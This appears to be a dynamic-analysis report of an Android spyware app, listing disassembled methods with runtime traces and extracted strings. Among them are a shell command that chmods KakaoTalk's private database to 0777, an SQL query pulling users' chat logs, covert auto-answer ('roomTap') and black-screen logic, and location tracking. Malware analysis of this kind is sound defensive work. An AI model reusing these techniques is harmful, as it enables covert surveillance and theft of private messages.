      32invoke-static {p0, v2, v1, v3}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
      33move-result-object v1
      35invoke-virtual {v0, v1}, Landroid/app/AlarmManager;->cancel(Landroid/app/PendingIntent;)V
      • Time: 1079569
        • This:
          • android.app.AlarmManager@b4cf7
        • operation: PendingIntent{21f682: android.os.BinderProxy@21dc193}
      37invoke-static {p0}, Lcom/network/location/a;->e(Landroid/content/Context;)V
      38try_end_35: return-void
      39catch_36: move-exception v0
      40new-instance v1, Ljava/lang/StringBuilder;
      42const-string v2, "MO locationAlarmStop exception-"
      44invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      46invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      47move-result-object v2
      49invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      50move-result-object v1
      52invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      53move-result-object v1
      55invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      56goto/16 :goto_35
      Cross References
      APIs
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.edit
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.commit
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • NetworkPreferences
      • logNetwork
      • saveCurrentFileToPersistantStorage saved log path to persistent storage:
      • saveCurrentFileToPersistantStorage saved log path to persistent storage: 0vlt.dat
      • saveCurrentFileToPersistantStorage exception:
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "NetworkPreferences"
      2const/4 v1, 0x0
      4invoke-virtual {p0, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      5move-result-object v0
      7invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      8move-result-object v0
      10const-string v1, "logNetwork"
      12sget-object v2, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      14invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      16invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
      17new-instance v0, Ljava/lang/StringBuilder;
      19const-string v1, "saveCurrentFileToPersistantStorage saved log path to persistent storage: "
      21invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      23sget-object v1, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      25invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      26move-result-object v0
      28invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      29move-result-object v0
      31invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073126
        • p0: saveCurrentFileToPersistantStorage saved log path to persistent storage: 0vlt.dat
      32try_end_29: return-void
      33catch_2a: move-exception v0
      34new-instance v1, Ljava/lang/StringBuilder;
      36const-string v2, "saveCurrentFileToPersistantStorage exception: "
      38invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      40invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      41move-result-object v2
      43invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      44move-result-object v1
      46invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      47move-result-object v1
      49invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      50goto/16 :goto_29
      Cross References
      APIs
      • java.util.Random.nextInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Random.nextInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • targetURLs !url! selected:
      • targetURLs.length == 0 getSettingsFromBH
      • getRandomURL Exception-
      Position Instruction Meta Information
      0const/4 v1, 0x1
      1try_start_1:
      2sget-object v0, Lcom/network/b/b;->F:[Ljava/lang/String;
      3array-length v0, v0
      4if-ne v0, v1, :cond_c
      6sget-object v0, Lcom/network/b/b;->F:[Ljava/lang/String;
      7const/4 v1, 0x0
      8aget-object v0, v0, v1
      9goto_b: return-object v0
      10cond_c:
      11sget-object v0, Lcom/network/b/b;->F:[Ljava/lang/String;
      12array-length v0, v0
      13if-le v0, v1, :cond_31
      15sget-object v0, Lcom/network/b/b;->G:Ljava/util/Random;
      17sget-object v1, Lcom/network/b/b;->F:[Ljava/lang/String;
      18array-length v1, v1
      20invoke-virtual {v0, v1}, Ljava/util/Random;->nextInt(I)I
      21move-result v0
      22new-instance v1, Ljava/lang/StringBuilder;
      24const-string v2, "targetURLs !url! selected: "
      26invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      28invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      29move-result-object v1
      31invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      32move-result-object v1
      34invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      36sget-object v1, Lcom/network/b/b;->F:[Ljava/lang/String;
      37aget-object v0, v1, v0
      38goto/16 :goto_b
      39cond_31:
      40sget-object v0, Lcom/network/b/b;->F:[Ljava/lang/String;
      41array-length v0, v0
      42if-nez v0, :cond_39
      44invoke-static {p0}, Lcom/network/b/b;->g(Landroid/content/Context;)V
      45cond_39:
      46sget-object v0, Lcom/network/b/b;->F:[Ljava/lang/String;
      47array-length v0, v0
      48if-nez v0, :cond_46
      50const-string v0, "targetURLs.length == 0 getSettingsFromBH"
      52invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074259
        • p0: targetURLs.length == 0 getSettingsFromBH
      54invoke-static {p0}, Lcom/network/h/b;->f(Landroid/content/Context;)Z
      55cond_46:
      56sget-object v0, Lcom/network/b/b;->F:[Ljava/lang/String;
      57array-length v0, v0
      58if-ne v0, v1, :cond_51
      60sget-object v0, Lcom/network/b/b;->F:[Ljava/lang/String;
      61const/4 v1, 0x0
      62aget-object v0, v0, v1
      63goto/16 :goto_b
      64cond_51:
      65sget-object v0, Lcom/network/b/b;->F:[Ljava/lang/String;
      66array-length v0, v0
      67if-le v0, v1, :cond_8d
      69sget-object v0, Lcom/network/b/b;->G:Ljava/util/Random;
      71sget-object v1, Lcom/network/b/b;->F:[Ljava/lang/String;
      72array-length v1, v1
      74invoke-virtual {v0, v1}, Ljava/util/Random;->nextInt(I)I
      75move-result v0
      76new-instance v1, Ljava/lang/StringBuilder;
      78const-string v2, "targetURLs !url! selected: "
      80invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      82invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      83move-result-object v1
      85invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      86move-result-object v1
      88invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      90sget-object v1, Lcom/network/b/b;->F:[Ljava/lang/String;
      91aget-object v0, v1, v0
      92try_end_75: goto/16 :goto_b
      93catch_76: move-exception v0
      94new-instance v1, Ljava/lang/StringBuilder;
      96const-string v2, "getRandomURL Exception- "
      98invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      100invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      101move-result-object v2
      103invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      104move-result-object v1
      106invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      107move-result-object v1
      109invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      110cond_8d: const/4 v0, 0x0
      111goto/16 :goto_b
      APIs
      • com.network.android.roomTap.AutoAnswerReceiver.a
      • com.network.android.roomTap.AutoAnswerReceiver.b
      • com.network.android.agent.NetworkApp.a
      • android.content.Context.getSharedPreferences
      • com.network.android.roomTap.BlackScreen.a
      • com.network.media.CoreReceiver.a:Lcom/network/f/a
      • com.network.media.CoreReceiver.a:Lcom/network/f/a
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • NetworkPreferences
      • MOSQ_SERVICE_OFF
      • removeAppalication:
      Position Instruction Meta Information
      0const/4 v3, 0x0
      1try_start_1:
      2invoke-static {}, Lcom/network/android/roomTap/AutoAnswerReceiver;->a()Z
      • Time: 1079551
        • Return:
          • false
      3move-result v0
      4if-eqz v0, :cond_c
      6iget-object v0, p0, Lcom/network/h/c;->a:Landroid/content/Context;
      8invoke-static {v0}, Lcom/network/android/roomTap/AutoAnswerReceiver;->b(Landroid/content/Context;)V
      9cond_c:
      10iget-object v0, p0, Lcom/network/h/c;->a:Landroid/content/Context;
      12invoke-static {v0}, Lcom/network/android/a/c;->c(Landroid/content/Context;)V
      14invoke-static {}, Lcom/network/android/a/b;->a()V
      16invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      17move-result-object v0
      19const-string v1, "NetworkPreferences"
      20const/4 v2, 0x0
      22invoke-virtual {v0, v1, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      23move-result-object v0
      25iget-object v1, p0, Lcom/network/h/c;->a:Landroid/content/Context;
      27invoke-static {v1, v0}, Lcom/network/android/roomTap/BlackScreen;->a(Landroid/content/Context;Landroid/content/SharedPreferences;)V
      29sget-object v0, Lcom/network/media/CoreReceiver;->a:Lcom/network/f/a;
      30if-eqz v0, :cond_2d
      32sget-object v0, Lcom/network/media/CoreReceiver;->a:Lcom/network/f/a;
      34invoke-virtual {v0}, Lcom/network/f/a;->a()V
      35cond_2d:
      36invoke-static {}, Lcom/network/i/b;->a()Lcom/network/i/b;
      37move-result-object v0
      39iget-object v1, p0, Lcom/network/h/c;->a:Landroid/content/Context;
      41invoke-virtual {v0, v1}, Lcom/network/i/b;->a(Landroid/content/Context;)V
      43invoke-static {}, Lcom/network/d/a;->a()V
      44const/4 v0, 0x2
      45const/16 v1, 0x71
      47const-string v2, "MOSQ_SERVICE_OFF"
      49invoke-static {v0, v1, v2}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      51iget-object v0, p0, Lcom/network/h/c;->a:Landroid/content/Context;
      53invoke-static {v0}, Lcom/network/b/b;->b(Landroid/content/Context;)V
      55iget-object v0, p0, Lcom/network/h/c;->a:Landroid/content/Context;
      57invoke-static {v0}, Lcom/network/h/b;->e(Landroid/content/Context;)V
      58goto_4b:
      59iget-object v0, p0, Lcom/network/h/c;->a:Landroid/content/Context;
      61invoke-static {v0}, Lcom/network/h/b;->e(Landroid/content/Context;)V
      62try_end_50: return-void
      63catch_51: move-exception v0
      64new-instance v1, Ljava/lang/StringBuilder;
      66const-string v2, "removeAppalication: "
      68invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      70invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      71move-result-object v2
      73invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      74move-result-object v1
      76invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      77move-result-object v1
      79invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      80goto/16 :goto_4b
      81catch_69: move-exception v0
      82new-instance v1, Ljava/lang/StringBuilder;
      84const-string v2, "removeAppalication: "
      86invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      88invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      89move-result-object v2
      91invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      92move-result-object v1
      94invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      95move-result-object v1
      97invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      98sput-boolean v3, Lcom/network/h/b;->a:Z
      99goto/16 :goto_50
      Cross References
      APIs
      • com.network.android.agent.NetworkApp.a
      • android.content.Context.getSystemService
      • android.location.LocationManager.removeUpdates
      • android.location.LocationManager.removeUpdates
      • android.location.LocationManager.removeUpdates
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • LocationMonitorManager stop
      • location
      • LocationMonitorManager stop GPS removeUpdates
      • LocationMonitorManager stop Pasive removeUpdates
      • LocationMonitorManager stop Network removeUpdates
      • LocationMonitorManager Location stop Exception-
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "LocationMonitorManager stop"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079571
        • p0: LocationMonitorManager stop
      5invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      6move-result-object v0
      8const-string v1, "location"
      10invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      • Time: 1079578
        • This:
          • com.network.android.agent.NetworkApp@c3182bd
        • p0: location
        • Return:
          • android.location.LocationManager@d8e3ef
      11move-result-object v0
      12check-cast v0, Landroid/location/LocationManager;
      14sget-object v1, Lcom/network/location/a;->c:Lcom/network/android/v;
      15if-eqz v1, :cond_25
      17sget-object v1, Lcom/network/location/a;->c:Lcom/network/android/v;
      19invoke-virtual {v0, v1}, Landroid/location/LocationManager;->removeUpdates(Landroid/location/LocationListener;)V
      21sget-object v1, Lcom/network/location/a;->c:Lcom/network/android/v;
      22const/4 v2, 0x0
      24invoke-virtual {v1, v2}, Lcom/network/android/v;->a(Z)V
      26const-string v1, "LocationMonitorManager stop GPS removeUpdates"
      28invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      29cond_25:
      30sget-object v1, Lcom/network/location/a;->i:Lcom/network/android/v;
      31if-eqz v1, :cond_33
      33sget-object v1, Lcom/network/location/a;->i:Lcom/network/android/v;
      35invoke-virtual {v0, v1}, Landroid/location/LocationManager;->removeUpdates(Landroid/location/LocationListener;)V
      37const-string v1, "LocationMonitorManager stop Pasive removeUpdates"
      39invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      40cond_33:
      41sget-object v1, Lcom/network/location/a;->h:Lcom/network/android/v;
      42if-eqz v1, :cond_41
      44sget-object v1, Lcom/network/location/a;->h:Lcom/network/android/v;
      46invoke-virtual {v0, v1}, Landroid/location/LocationManager;->removeUpdates(Landroid/location/LocationListener;)V
      48const-string v0, "LocationMonitorManager stop Network removeUpdates"
      50invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      51cond_41: const/4 v0, 0x0
      52sput-object v0, Lcom/network/location/a;->c:Lcom/network/android/v;
      54invoke-static {p0}, Lcom/network/location/a;->g(Landroid/content/Context;)V
      55try_end_47: return-void
      56catch_48: move-exception v0
      57new-instance v1, Ljava/lang/StringBuilder;
      59const-string v2, "LocationMonitorManager Location stop Exception- "
      61invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      63invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      64move-result-object v2
      66invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      67move-result-object v1
      69invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      70move-result-object v1
      72invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      73goto/16 :goto_47
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • getKakao GetContentIM start
      • kakao
      • /data/data/com.kakao.talk/
      • /data/data/com.kakao.talk/databases/KakaoTalk.db
      • SELECT chat_logs.id, chat_logs.chat_id, chat_logs.created_at, chat_logs.message, chat_logs.user_id, chat_logs.type, c.members FROM chat_logs JOIN chat_rooms c ON chat_logs.chat_id=c.id
      • chat_logs.created_at
      • chmod 0777 /data/data/com.kakao.talk; chmod 0777 /data/data/com.kakao.talk/databases; chmod 0777 /data/data/com.kakao.talk/databases/KakaoTalk.db; chmod 0777 /data/data/com.kakao.talk/databases/KakaoTalk.db-journal;
      • getKakao GetContentIM end
      • kakaogetFacebookApp GetContentIM exception-
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "getKakao GetContentIM start"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068678
        • p0: getKakao GetContentIM start
      5const-string v3, "kakao"
      7const-string v4, "/data/data/com.kakao.talk/"
      9const-string v5, "/data/data/com.kakao.talk/databases/KakaoTalk.db"
      11const-string v6, "SELECT chat_logs.id, chat_logs.chat_id, chat_logs.created_at, chat_logs.message, chat_logs.user_id, chat_logs.type, c.members FROM chat_logs JOIN chat_rooms c ON chat_logs.chat_id=c.id "
      13const-string v7, "chat_logs.created_at"
      15const-string v8, "chmod 0777 /data/data/com.kakao.talk; chmod 0777 /data/data/com.kakao.talk/databases; chmod 0777 /data/data/com.kakao.talk/databases/KakaoTalk.db; chmod 0777 /data/data/com.kakao.talk/databases/KakaoTalk.db-journal; "
      17sget-object v9, Lcom/network/android/d/c;->d:Ljava/lang/String;
      19sget-object v10, Lcom/network/android/d/c;->c:Ljava/util/Map;
      20const/16 v11, 0x82
      21move-object v0, p0
      22move-object v1, p1
      23move v2, p2
      25invoke-static/range {v0 .. v11}, Lcom/network/android/d/c;->a(Landroid/os/Handler;Landroid/content/Context;ZLjava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/util/Map;S)V
      27const-string v0, "getKakao GetContentIM end"
      29invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068693
        • p0: getKakao GetContentIM end
      30goto_22: return-void
      31catch_23: move-exception v0
      32new-instance v1, Ljava/lang/StringBuilder;
      34const-string v2, "kakaogetFacebookApp GetContentIM exception- "
      36invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      38invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      39move-result-object v2
      41invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      42move-result-object v1
      44invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      45move-result-object v1
      47invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      48goto/16 :goto_22
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.startsWith
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • isAgentInstalledOnSystem start
      • isAgentInstalledOnSystem apk path:
      • isAgentInstalledOnSystem apk path: /data/app/com.network.android-SsvII82gNSMb8WVJzOgspg==/base.apk
      • /system/app
      • isAgentInstalledOnSystem exception:
      Position Instruction Meta Information
      0const/4 v0, 0x0
      1try_start_1:
      2const-string v1, "isAgentInstalledOnSystem start"
      4invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068187
        • p0: isAgentInstalledOnSystem start
      6invoke-static {p0}, Lcom/network/h/b;->c(Landroid/content/Context;)Ljava/lang/String;
      7move-result-object v1
      8new-instance v2, Ljava/lang/StringBuilder;
      10const-string v3, "isAgentInstalledOnSystem apk path: "
      12invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      14invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      15move-result-object v2
      17invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      18move-result-object v2
      20invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068261
        • p0: isAgentInstalledOnSystem apk path: /data/app/com.network.android-SsvII82gNSMb8WVJzOgspg==/base.apk
      22const-string v2, "/system/app"
      24invoke-virtual {v1, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
      25try_end_21: move-result v1
      26if-eqz v1, :cond_25
      27const/4 v0, 0x1
      28goto_25: return v0
      29catch_26: move-exception v1
      30new-instance v2, Ljava/lang/StringBuilder;
      32const-string v3, "isAgentInstalledOnSystem exception: "
      34invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      36invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      37move-result-object v3
      39invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      40move-result-object v2
      42invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      43move-result-object v2
      45invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      46goto/16 :goto_25
      Cross References
      APIs
      • java.util.Vector.clear
      • java.util.Vector.clear
      • java.util.Vector.clear
      • java.lang.StringBuilder.<init>
      • java.util.Set.size
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Set.clear
      • java.util.Vector.clear
      • java.util.Vector.clear
      • java.util.Vector.clear
      Strings
      • ProvisionContectHandler clear commandSet, size=
      • ProvisionContectHandler clear commandSet, size=0
      Position Instruction Meta Information
      0const/4 v2, 0x0
      1const/4 v1, 0x0
      3invoke-direct {p0}, Lorg/xml/sax/helpers/DefaultHandler;-><init>()V
      4const/4 v0, -0x1
      5iput v0, p0, Lcom/network/android/x;->a:I
      7const-string v0, ""
      8iput-object v0, p0, Lcom/network/android/x;->b:Ljava/lang/String;
      9iput-object v2, p0, Lcom/network/android/x;->c:Ljava/lang/String;
      10iput-object v2, p0, Lcom/network/android/x;->d:Ljava/lang/String;
      12const-string v0, ""
      13iput-object v0, p0, Lcom/network/android/x;->f:Ljava/lang/String;
      14iput-boolean v1, p0, Lcom/network/android/x;->g:Z
      15iput-boolean v1, p0, Lcom/network/android/x;->h:Z
      16iput-boolean v1, p0, Lcom/network/android/x;->i:Z
      17iput-boolean v1, p0, Lcom/network/android/x;->j:Z
      18iput-boolean v1, p0, Lcom/network/android/x;->k:Z
      19iput-boolean v1, p0, Lcom/network/android/x;->l:Z
      20iput-boolean v1, p0, Lcom/network/android/x;->m:Z
      21iput-boolean v1, p0, Lcom/network/android/x;->n:Z
      22iput-boolean v1, p0, Lcom/network/android/x;->o:Z
      23iput-boolean v1, p0, Lcom/network/android/x;->p:Z
      24iput-boolean v1, p0, Lcom/network/android/x;->q:Z
      25iput-boolean v1, p0, Lcom/network/android/x;->r:Z
      27const-string v0, ""
      28iput-object v0, p0, Lcom/network/android/x;->E:Ljava/lang/String;
      29iput-boolean v1, p0, Lcom/network/android/x;->F:Z
      30iput-boolean v1, p0, Lcom/network/android/x;->G:Z
      31iput-boolean v1, p0, Lcom/network/android/x;->H:Z
      32iput-boolean v1, p0, Lcom/network/android/x;->I:Z
      33iput-boolean v1, p0, Lcom/network/android/x;->J:Z
      34iput-boolean v1, p0, Lcom/network/android/x;->K:Z
      35new-instance v0, Lcom/network/k/a/a;
      37invoke-direct {v0}, Lcom/network/k/a/a;-><init>()V
      38iput-object v0, p0, Lcom/network/android/x;->L:Lcom/network/k/a/a;
      39iput-object p1, p0, Lcom/network/android/x;->M:Landroid/content/Context;
      41sget-object v0, Lcom/network/android/x;->x:Ljava/util/Vector;
      43invoke-virtual {v0}, Ljava/util/Vector;->clear()V
      45sget-object v0, Lcom/network/android/x;->z:Ljava/util/Vector;
      47invoke-virtual {v0}, Ljava/util/Vector;->clear()V
      49sget-object v0, Lcom/network/android/x;->y:Ljava/util/Vector;
      51invoke-virtual {v0}, Ljava/util/Vector;->clear()V
      53sget-object v1, Lcom/network/android/x;->D:Ljava/lang/Object;
      54monitor-enter v1
      55try_start_57: new-instance v0, Ljava/lang/StringBuilder;
      57const-string v2, "ProvisionContectHandler clear commandSet, size="
      59invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      61sget-object v2, Lcom/network/android/x;->N:Ljava/util/Set;
      63invoke-interface {v2}, Ljava/util/Set;->size()I
      64move-result v2
      66invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      67move-result-object v0
      69invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      70move-result-object v0
      72invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074218
        • p0: ProvisionContectHandler clear commandSet, size=0
      74sget-object v0, Lcom/network/android/x;->N:Ljava/util/Set;
      76invoke-interface {v0}, Ljava/util/Set;->clear()V
      77monitor-exit v1
      78try_end_75:
      79sget-object v0, Lcom/network/android/x;->B:Ljava/util/Vector;
      81invoke-virtual {v0}, Ljava/util/Vector;->clear()V
      83sget-object v0, Lcom/network/android/x;->A:Ljava/util/Vector;
      85invoke-virtual {v0}, Ljava/util/Vector;->clear()V
      87sget-object v0, Lcom/network/android/x;->C:Ljava/util/Vector;
      89invoke-virtual {v0}, Ljava/util/Vector;->clear()V
      90return-void
      91catchall_85: move-exception v0
      92monitor-exit v1
      93throw v0
      APIs
      • com.network.android.android.monitor.AndroidMonitorApplication.onCreate
      • com.network.android.agent.NetworkApp.a:Landroid/os/Handler
      • android.os.Handler.postDelayed
      • com.network.android.agent.NetworkApp.a:Landroid/os/Handler
      • android.os.Handler.postDelayed
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • NetworApp onCreate
      • NetworApp onCreate readProperties
      • NetworApp onCreate deleteUpgradeFiles
      • onCreate:
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "NetworApp onCreate"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1066933
        • p0: NetworApp onCreate
      5invoke-super {p0}, Lcom/network/android/android/monitor/AndroidMonitorApplication;->onCreate()V
      7const-string v0, "NetworApp onCreate readProperties"
      9invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068918
        • p0: NetworApp onCreate readProperties
      11invoke-static {}, Lcom/network/b/a;->c()V
      13const-string v0, "NetworApp onCreate deleteUpgradeFiles"
      15invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068925
        • p0: NetworApp onCreate deleteUpgradeFiles
      17invoke-static {}, Lcom/network/h/j;->b()V
      19sget-object v0, Lcom/network/android/agent/NetworkApp;->a:Landroid/os/Handler;
      20new-instance v1, Lcom/network/android/agent/c;
      22invoke-direct {v1, p0}, Lcom/network/android/agent/c;-><init>(Lcom/network/android/agent/NetworkApp;)V
      23const-wide/16 v2, 0xfa0
      25invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
      27sget-object v0, Lcom/network/android/agent/NetworkApp;->a:Landroid/os/Handler;
      28new-instance v1, Lcom/network/android/agent/d;
      30invoke-direct {v1, p0}, Lcom/network/android/agent/d;-><init>(Lcom/network/android/agent/NetworkApp;)V
      31const-wide/16 v2, 0x2710
      33invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
      34goto_30: return-void
      35catch_31: move-exception v0
      36new-instance v1, Ljava/lang/StringBuilder;
      38const-string v2, "onCreate: "
      40invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      42invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      43move-result-object v2
      45invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      46move-result-object v1
